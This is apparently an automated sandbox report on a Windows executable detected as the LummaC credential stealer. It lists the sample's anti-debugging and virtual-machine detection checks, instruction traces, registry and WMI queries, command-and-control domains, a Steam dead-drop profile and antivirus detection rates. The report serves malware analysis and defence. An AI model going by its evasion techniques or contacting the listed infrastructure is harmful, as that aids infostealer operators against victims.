Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C84A second address: 63C866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 je 00007F7648CE84E6h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007F7648CE84E6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C866 second address: 63C86C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E444 second address: 63E455 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F7648CE84E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E455 second address: 63E459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E459 second address: 63E45F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E45F second address: 63E47D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7648782568h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0DD7 second address: 4AE0DDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0DDD second address: 4AE0DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0DE1 second address: 4AE0E0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [eax+00000FDCh] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7648CE84F9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E0C second address: 4AE0E12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E12 second address: 4AE0E2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648CE84ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E2A second address: 4AE0E47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648782569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E47 second address: 4AE0E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0E4D second address: 4AE0EBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F764878257Dh 0x0000000e jmp 00007F764878255Fh 0x00000013 add eax, ecx 0x00000015 jmp 00007F7648782566h 0x0000001a mov eax, dword ptr [eax+00000860h] 0x00000020 jmp 00007F7648782560h 0x00000025 test eax, eax 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F764878255Eh 0x0000002e and ch, FFFFFFD8h 0x00000031 jmp 00007F764878255Bh 0x00000036 popfd 0x00000037 push eax 0x00000038 push edx 0x00000039 movzx eax, bx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0EBE second address: 4AE0F00 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F76B9DFE380h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007F7648CE84F9h 0x00000016 adc esi, 3D706F26h 0x0000001c jmp 00007F7648CE84F1h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B003E7 second address: 4B0040D instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov di, 1096h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7648782566h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0040D second address: 4B00411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00411 second address: 4B00417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00417 second address: 4B0041D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0041D second address: 4B00421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00421 second address: 4B00425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00425 second address: 4B0044D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dx, cx 0x0000000d mov edx, ecx 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7648782562h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0044D second address: 4B00451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00451 second address: 4B00457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00457 second address: 4B00477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7648CE84ECh 0x00000008 mov eax, 2EC23451h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 movzx ecx, dx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0049E second address: 4B004B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, E887h 0x00000007 movzx ecx, dx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movzx eax, di 0x00000014 mov si, di 0x00000017 popad 0x00000018 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3A3D7E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 545A77 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 550C0E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3A3CB2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D364B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 2368

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\file.exe

Last function: Thread delayed

Source: file.exe, file.exe, 00000000.00000002.1971487223.0000000000528000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.1972650341.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000D82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.1971487223.0000000000528000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003800D0 LdrInitializeThunk,

0_2_003800D0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: clearancek.site
Source: file.exe	String found in binary or memory: licendfilteo.site
Source: file.exe	String found in binary or memory: spirittunek.stor
Source: file.exe	String found in binary or memory: bathdoomgaz.stor
Source: file.exe	String found in binary or memory: studennotediw.stor
Source: file.exe	String found in binary or memory: dissapoiznw.stor
Source: file.exe	String found in binary or memory: eaglepawnoy.stor
Source: file.exe	String found in binary or memory: mobbipenju.stor

Source: file.exe, 00000000.00000002.1971812557.000000000056E000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: LProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	24 Virtualization/Sandbox Evasion	OS Credential Dumping	641 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	2 Process Injection	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	223 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	43%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
steamcommunity.com	0%	Virustotal	Browse
sergei-esenin.com	18%	Virustotal	Browse
licendfilteo.site	16%	Virustotal	Browse
mobbipenju.store	22%	Virustotal	Browse
studennotediw.store	18%	Virustotal	Browse
clearancek.site	18%	Virustotal	Browse
bathdoomgaz.store	22%	Virustotal	Browse
spirittunek.store	22%	Virustotal	Browse
eaglepawnoy.store	19%	Virustotal	Browse
dissapoiznw.store	22%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://steamcommunity.com:443/profiles/76561199724331900	100%	URL Reputation	malware
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
https://store.steampowered.com/legal/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://store.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english	0%	URL Reputation	safe
http://store.steampowered.com/account/cookiepreferences/	0%	URL Reputation	safe
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/badges	100%	URL Reputation	malware
https://www.cloudflare.com/learning/access-management/phishing-attack/	0%	Virustotal		Browse
https://steamcommunity.com/?subsection=broadcasts	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	0%	Virustotal		Browse
https://sergei-esenin.com/	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/scriptacul	0%	Virustotal		Browse
dissapoiznw.store	22%	Virustotal		Browse
studennotediw.store	18%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=hgPi	0%	Virustotal		Browse
eaglepawnoy.store	19%	Virustotal		Browse
https://www.cloudflare.com/5xx-error-landing	0%	Virustotal		Browse
https://sergei-esenin.com:443/api	19%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=2Ih2WOq7ErXY&a	0%	Virustotal		Browse
https://steamcommunity.com/profiles/76561	0%	Virustotal		Browse
https://steamcommunity.com/my/wishlist/	0%	Virustotal		Browse
https://sergei-esenin.com/k	8%	Virustotal		Browse
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0%	Virustotal		Browse
https://steamcommunity.com/?subsection	0%	Virustotal		Browse
https://steamcommunity.com/discussions/	0%	Virustotal		Browse
bathdoomgaz.store	22%	Virustotal		Browse
https://steamcommunity.com/market/	0%	Virustotal		Browse
https://sergei-esenin.com/apiF	0%	Virustotal		Browse
https://steamcommunity.com/N	0%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=jGtzAgjYROne&l=e	0%	Virustotal		Browse
https://dissapoiznw.store:443/api	22%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown
sergei-esenin.com	172.67.206.204	true	true	18%, Virustotal, Browse	unknown
eaglepawnoy.store	unknown	unknown	true	19%, Virustotal, Browse	unknown
bathdoomgaz.store	unknown	unknown	true	22%, Virustotal, Browse	unknown
spirittunek.store	unknown	unknown	true	22%, Virustotal, Browse	unknown
licendfilteo.site	unknown	unknown	true	16%, Virustotal, Browse	unknown
studennotediw.store	unknown	unknown	true	18%, Virustotal, Browse	unknown
mobbipenju.store	unknown	unknown	true	22%, Virustotal, Browse	unknown
clearancek.site	unknown	unknown	true	18%, Virustotal, Browse	unknown
dissapoiznw.store	unknown	unknown	true	22%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
studennotediw.store	true	18%, Virustotal, Browse	unknown
dissapoiznw.store	true	22%, Virustotal, Browse	unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
eaglepawnoy.store	true	19%, Virustotal, Browse	unknown
bathdoomgaz.store	true	22%, Virustotal, Browse	unknown
clearancek.site	true		unknown
spirittunek.store	true		unknown
licendfilteo.site	true		unknown
mobbipenju.store	true		unknown
https://sergei-esenin.com/api	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.1808609124.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972650341.0000000000D53000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
